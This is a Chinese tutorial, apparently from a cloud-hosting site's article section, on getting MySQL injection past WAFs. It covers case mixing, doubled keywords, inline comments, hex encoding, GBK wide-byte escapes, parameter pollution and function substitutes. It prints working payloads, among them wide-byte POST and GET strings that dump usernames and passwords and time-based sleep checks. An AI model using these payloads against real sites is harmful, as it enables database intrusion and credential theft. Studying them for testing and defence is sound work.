您好,登錄后才能下訂單哦!
這篇文章主要介紹“MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”,在日常操作中,相信很多人在MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!
SQL注入繞過(guò)WAF
用于過(guò)濾時(shí)沒(méi)有匹配大小寫(xiě)的情況:
SeLECt * from table;
用于將禁止的字符直接刪除的情況:
比如,使用preg_replace()
或者是str_replace()
將and
、or
、select
、union
等關(guān)鍵詞替換為空字符串。
這時(shí),可以使用雙寫(xiě)嵌套繞過(guò),or
寫(xiě)成oorr
,and
寫(xiě)成aandnd
、select
寫(xiě)成seselectlect
、union
寫(xiě)成uniunionon
。在刪除一個(gè)關(guān)鍵字后,剩下的部分又可以重新組合成完整的關(guān)鍵字。
內(nèi)聯(lián)注釋的作用是增加SQL語(yǔ)句的可移植性。比如,將MySQL特有的語(yǔ)法使用內(nèi)聯(lián)注釋的形式來(lái)編寫(xiě),在這種情況下,MySQL可以正常的解析并執(zhí)行內(nèi)聯(lián)注釋中的代碼,但是其它的SQL服務(wù)器則忽略?xún)?nèi)聯(lián)注釋中的內(nèi)容。
/*! MySQL特有的語(yǔ)法 */
例如MySQL服務(wù)器可以在以下語(yǔ)句中識(shí)別STRAIGHT_JOIN
關(guān)鍵字,而其他服務(wù)器則不能:
SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ...
如果在!后面添加版本號(hào),則僅當(dāng)MySQL版本大于或者等于指定的版本號(hào)時(shí),才會(huì)執(zhí)行注釋中的語(yǔ)法。例如,以下注釋中的關(guān)鍵字KEY_BLOCK_SIZE
僅由MySQL 5.1.10或者更高版本的服務(wù)器執(zhí)行:
CREATE TABLE t1(a INT, KEY (a)) /*!50110 KEY_BLOCK_SIZE=1024*/
/*! */
類(lèi)型的注釋?zhuān)瑑?nèi)部語(yǔ)句會(huì)被執(zhí)行
select bbb from table1 where aaa='' union /*! select database()*/;
可以用來(lái)繞過(guò)一些WAF,或者是繞過(guò)空格
但是,不能將關(guān)鍵詞用注釋分開(kāi),例如下面的語(yǔ)句是不可執(zhí)行的(或者說(shuō)只能在某些較老版本執(zhí)行)
select bbb from table1 where balabala='' union se/*!lect database()*/;
如果在查詢(xún)字段名的時(shí)候表名被過(guò)濾,或者是數(shù)據(jù)庫(kù)中某些特定字符被過(guò)濾,則可以使用16進(jìn)制繞過(guò)。
select column_name from information_schema.columns where table_name=0x7573657273;
0x7573657273
為users的16進(jìn)制編碼
寬字節(jié)注入
以下是常用的URL編碼
ASCII值 | URL編碼 |
---|---|
\ | %5C |
' | %27 |
" | %22 |
# | %23 |
& | %26 |
寬字節(jié)注入的利用條件
查詢(xún)參數(shù)是被單引號(hào)包圍的,傳入的單引號(hào)又被轉(zhuǎn)義符
\
轉(zhuǎn)義,如在后臺(tái)數(shù)據(jù)庫(kù)中對(duì)接收的參數(shù)使用addslashes()
、mysql_real_escape_string()
或者是其他轉(zhuǎn)義函數(shù)數(shù)據(jù)庫(kù)的編碼為GBK
概括的說(shuō),就是單引號(hào)被轉(zhuǎn)義,但編碼為GBK。
利用方式
GET形式
id=-1%DF' union select 1,user(),3%23
在上述條件下,單引號(hào)'
被轉(zhuǎn)義為\'
,即%5c%27
。如果我們?cè)趩我?hào)前加上%df
,就會(huì)構(gòu)成%df%5c%27
,而在GBK編碼方式下,%df%5c
是漢字"連",所以單引號(hào)成功逃逸。
如果是在請(qǐng)求體中,需要使用POST參數(shù)。使用Burp Suite抓取請(qǐng)求,然后在單引號(hào)(%27
)之前添加%df
。
uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2
寬字節(jié)注入原理
MySQL在使用GBK編碼時(shí),會(huì)認(rèn)為兩個(gè)字符為一個(gè)漢字,例如%aa%5c
就是一個(gè)漢字猏
。因?yàn)檗D(zhuǎn)義方法主要就是在敏感字符前面添加反斜杠\
,所以這里想辦法去掉反斜杠即可。
%df
吃掉\
其實(shí)這里第一個(gè)字符并不局限為%df
,只要是在%aa
到%fe
范圍內(nèi)都可以。具體原因是,urlencode(\')=%5c%27
,我們?cè)?code>%5c%27前面添加%df
,形成%df%5c%27
,MySQL在GBK編碼方式的時(shí)候,會(huì)將兩個(gè)字節(jié)當(dāng)做一個(gè)漢字,這個(gè)時(shí)候就把%df%5c
當(dāng)做是一個(gè)漢字運(yùn)
,%27
則作為一個(gè)單獨(dú)的符號(hào)'
在外面,同時(shí)也就達(dá)到了我們的目的。
將\'
中的\
過(guò)濾掉
例如可以構(gòu)造%5c%5c%27
的情況,后面的%5C
會(huì)被前面的%5C
給注釋掉。這也是bypass的一種方法。
addslashes()
函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串。
預(yù)定義字符 | 轉(zhuǎn)義后 |
---|---|
\ | \\ |
' | \' |
" | \" |
該函數(shù)可用于為存儲(chǔ)在數(shù)據(jù)庫(kù)中的字符串以及數(shù)據(jù)庫(kù)查詢(xún)語(yǔ)句準(zhǔn)備字符串。
在使用addslashes()
時(shí),我們需要將mysql_query
設(shè)置為binary
的方式,才能夠防御此漏洞。
Latin1編碼
Mysql表的編碼默認(rèn)為latin1,如果設(shè)置字符集為utf8,則存在一些latin1中有而utf8中沒(méi)有的字符,而Mysql是如何處理這些字符的呢?直接忽略
于是我們可以輸入?username=admin%c2,存儲(chǔ)至表中就變?yōu)榱薬dmin
上面的%c2可以換為%c2-%ef之間的任意字符
and -> && or -> || 空格 -> /**/ -> %a0 -> %0a -> + # -> -- + -> ;%00(php<=5.3.4) -> or '1'='1 = -> like -> regexp -> <> -> in 注意:regexp為正則匹配,利用正則會(huì)有些新的注入手段
注意,因?yàn)?code>&是URL中不同參數(shù)之間的分隔符,所以,在前端中需要將&
進(jìn)行URL編碼,編碼為%26
。
過(guò)濾空格
使用preg_replace()
或者str_replace()
函數(shù),將空白字符替換為空字符串。
過(guò)濾了空格,使用編碼繞過(guò)??梢允褂萌缦路?hào)來(lái)替代:
符號(hào) | 說(shuō)明 |
---|---|
%09 | TAB鍵(水平) |
%0a | 新建一行 |
%0c | 新的一頁(yè) |
%0d | return功能 |
%0b | TAB鍵(垂直) |
%a0 | 空格 |
過(guò)濾注釋
使用preg_replace()
或者str_replace()
函數(shù),將多行注釋/**/
,單行注釋--
、#
替換為空字符串。
繞過(guò)方式:使用閉合繞過(guò)。
HTTP參數(shù)污染
由于沒(méi)有相關(guān)的HTTP RFC定義HTTP參數(shù)操作的語(yǔ)義,因此每個(gè)Web應(yīng)用程序可能會(huì)以不用的方式來(lái)處理多個(gè)相同名稱(chēng)的參數(shù)。
在單個(gè)HTTP請(qǐng)求中,攻擊者使用多個(gè)具有相同名稱(chēng)的參數(shù),將注入語(yǔ)句中的關(guān)鍵字拆分在每個(gè)參數(shù)的值中。
比如,index.php?par1=val1&par1=val2
下表是不同的Web服務(wù)器如何管理多次出現(xiàn)的同一參數(shù)。
HTTP后端 | 總體解析結(jié)果 | 例子 |
---|---|---|
ASP.NET/IIS | 特定參數(shù)所有內(nèi)容進(jìn)行拼接 | par1=val1,val2 |
ASP/IIS | 特定參數(shù)所有內(nèi)容進(jìn)行拼接 | par1=val1,val2 |
PHP/Apache | 最后一次出現(xiàn)的參數(shù)內(nèi)容 | par1=val2 |
PHP/Zeus | 最后一次出現(xiàn)的參數(shù)內(nèi)容 | par1=val2 |
JSP,Servlet/Apache Tomcat | 第一次出現(xiàn)的參數(shù)內(nèi)容 | par1=val1 |
當(dāng)Web應(yīng)用程序?qū)⒍鄠€(gè)參數(shù)的值拼接起來(lái),就可以得到完整的注入語(yǔ)句。同時(shí),如果WAF只單獨(dú)檢查每個(gè)參數(shù)的值,或者是將整個(gè)請(qǐng)求數(shù)據(jù)作為單個(gè)字符串處理,這樣的安全機(jī)制將無(wú)法檢測(cè)到HPP攻擊。比如,ASP/IIS
將重復(fù)出現(xiàn)的參數(shù)的值拼接起來(lái)。
下面是兩個(gè)SQL注入的場(chǎng)景:"常規(guī)攻擊"和"使用HPP攻擊"。
“常規(guī)攻擊”演示了prodID參數(shù)中的標(biāo)準(zhǔn)聯(lián)合注入語(yǔ)句。這種攻擊方式會(huì)被Web應(yīng)用程序防火墻(WAF)輕松識(shí)別。第二次攻擊在prodID參數(shù)上使用HPP。在這種情況下,prodID參數(shù)多次出現(xiàn),而注入語(yǔ)句被拆分在每個(gè)prodID的值中。為了使WAF能夠識(shí)別完整的注入語(yǔ)句,還需要將所有的輸入拼接起來(lái)檢查。
常規(guī)攻擊:http://webApplication/showproducts.asp?prodID=9 UNION SELECT 1,2,3 FROM Users WHERE id=3 —
使用HPP攻擊:http://webApplication/showproducts.asp?prodID=9 /*&prodID=*/UNION /*&prodID=*/SELECT 1 &prodID=2 &prodID=3 FROM /*&prodID=*/Users /*&prodID=*/ WHERE id=3 —
用join代替
-1 union select 1,2,3
-1 union select * from (select 1)a join (select 2)b join (select 3)c%23
limit
limit 2,1
limit 1 offset 2
substr
select substr(database(),5,1)
select substr(database() from 5 for 1)
from為從第幾個(gè)字符開(kāi)始,for為截取的長(zhǎng)度
select substr(database() from 5)
from 5表示從第5個(gè)字符開(kāi)始截取
如果for也被過(guò)濾了
select mid(reverse(mid(database() from (-5)))from(-1))
if
select if(database()='xxx',sleep(3),1)
SELECT 1 and DATABASE()='security' and sleep(3)
select case when database()='xxx' then sleep(5) else 0 end
select user from users limit 1
加限制條件
select user from users group by user_id having user_id=1
(user_id是表中的一個(gè)列)
可用運(yùn)算符! ^ ~
以及not xor
來(lái)代替
常用函數(shù)的替代
字符串截取/拼接函數(shù):
摘自https://xz.aliyun.com/t/7169
函數(shù) | 說(shuō)明 |
---|---|
SUBSTR(str,N_start,N_length) | 對(duì)指定字符串進(jìn)行截取,為SUBSTRING的簡(jiǎn)單版。 |
SUBSTRING() | 多種格式SUBSTRING(str,pos)、SUBSTRING(str FROM pos)、SUBSTRING(str,pos,len)、SUBSTRING(str FROM pos FOR len) 。 |
RIGHT(str,len) | 對(duì)指定字符串從最右邊截取指定長(zhǎng)度。 |
LEFT(str,len) | 對(duì)指定字符串從最左邊截取指定長(zhǎng)度。 |
RPAD(str,len,padstr) | 在str 右方補(bǔ)齊len 位的字符串padstr ,返回新字符串。如果str 長(zhǎng)度大于len ,則返回值的長(zhǎng)度將縮減到len 所指定的長(zhǎng)度。 |
LPAD(str,len,padstr) | 與RPAD相似,在str 左邊補(bǔ)齊。 |
MID(str,pos,len) | 同于SUBSTRING(str,pos,len) 。 |
INSERT(str,pos,len,newstr) | 在原始字符串str 中,將自左數(shù)第pos 位開(kāi)始,長(zhǎng)度為len 個(gè)字符的字符串替換為新字符串newstr ,然后返回經(jīng)過(guò)替換后的字符串。INSERT(str,len,1,0x0) 可當(dāng)做截取函數(shù)。 |
CONCAT(str1,str2…) | 函數(shù)用于將多個(gè)字符串合并為一個(gè)字符串 |
GROUP_CONCAT(…) | 返回一個(gè)字符串結(jié)果,該結(jié)果由分組中的值連接組合而成。 |
MAKE_SET(bits,str1,str2,…) | 根據(jù)參數(shù)1,返回所輸入其他的參數(shù)值??捎米鞑紶柮ぷ?,如:EXP(MAKE_SET((LENGTH(DATABASE())>8)+1,'1','710')) 。 |
數(shù)字的代替:
使用true
、false
、pi()
、!
、floor
、~
、ceil()
、version()
等數(shù)學(xué)運(yùn)算函數(shù)的組合進(jìn)行代替
函數(shù)/語(yǔ)句
說(shuō)明
LENGTH(str) | 返回字符串的長(zhǎng)度。 |
PI() | 返回π的具體數(shù)值。 |
REGEXP “statement” | 正則匹配數(shù)據(jù),返回值為布爾值。 |
LIKE “statement” | 匹配數(shù)據(jù),%代表任意內(nèi)容。返回值為布爾值。 |
RLIKE “statement” | 與regexp相同。 |
LOCATE(substr,str,[pos]) | 返回子字符串第一次出現(xiàn)的位置。 |
POSITION(substr IN str) | 等同于LOCATE() 。 |
LOWER(str) | 將字符串的大寫(xiě)字母全部轉(zhuǎn)成小寫(xiě)。同:LCASE(str) 。 |
UPPER(str) | 將字符串的小寫(xiě)字母全部轉(zhuǎn)成大寫(xiě)。同:UCASE(str) 。 |
ELT(N,str1,str2,str3,…) | 與MAKE_SET(bit,str1,str2...) 類(lèi)似,根據(jù)N 返回參數(shù)值。 |
NULLIF(expr1,expr2) | 若expr1與expr2相同,則返回expr1,否則返回NULL。 |
CHARSET(str) | 返回字符串使用的字符集。 |
DECODE(crypt_str,pass_str) | 使用 pass_str 作為密碼,解密加密字符串 crypt_str。加密函數(shù):ENCODE(str,pass_str) 。 |
到此,關(guān)于“MySQL注入繞過(guò)WAF的基礎(chǔ)方式是什么”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注億速云網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。